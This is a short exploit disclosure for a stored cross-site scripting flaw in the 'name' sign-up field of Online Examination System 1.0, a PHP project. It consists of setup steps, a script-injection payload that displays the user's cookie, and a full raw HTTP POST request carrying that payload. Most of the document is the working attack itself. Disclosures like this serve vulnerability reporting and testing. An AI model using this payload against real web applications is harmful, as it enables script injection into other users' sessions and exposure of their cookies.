Online Examination System 1.0 – ‘name’ Stored Cross Site Scripting
# Exploit Title: Online examination system 1.0 - 'name' Stored Cross Site Scripting # Date: 29/10/2020 # Exploit Author: Nikhil Kumar (https://www.linkedin.com/in/nikhil-kumar-4b9443166/) # Vendor Homepage: https://github.com/projectworldsofficial/online-examination-systen-in-php # Software Link: https://github.com/projectworldsofficial/online-examination-systen-in-php.git # Version: 1.0 # Tested On: Ubntu 18 + Xampp-linux-x64-5.5.38-3 Step 1: Open the URL http://localhost/online-examination-systen-in-php/index.php and fill the sign up form http://localhost/exam_system/sign.php?q=account.php Step 2 : Use payload ><script>alert(document.cookie)</script> in "name=" field Malicious Request ----------------- POST /exam_system/sign.php?q=account.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 157 Origin: http://localhost Connection: close Referer: http://localhost/exam_system/index.php Cookie: security_level=1; PHPSESSID=kue9gcj3bs2329e8mctsokaod7 Upgrade-Insecure-Requests: 1 name=test><script>alert(document.cookie)</script>&gender=M&college=test&email=test@test.com&mob=8888888888&password=123456&cpassword=123456 Step 3: Cookie will be reflected each time user logged in with their credentials |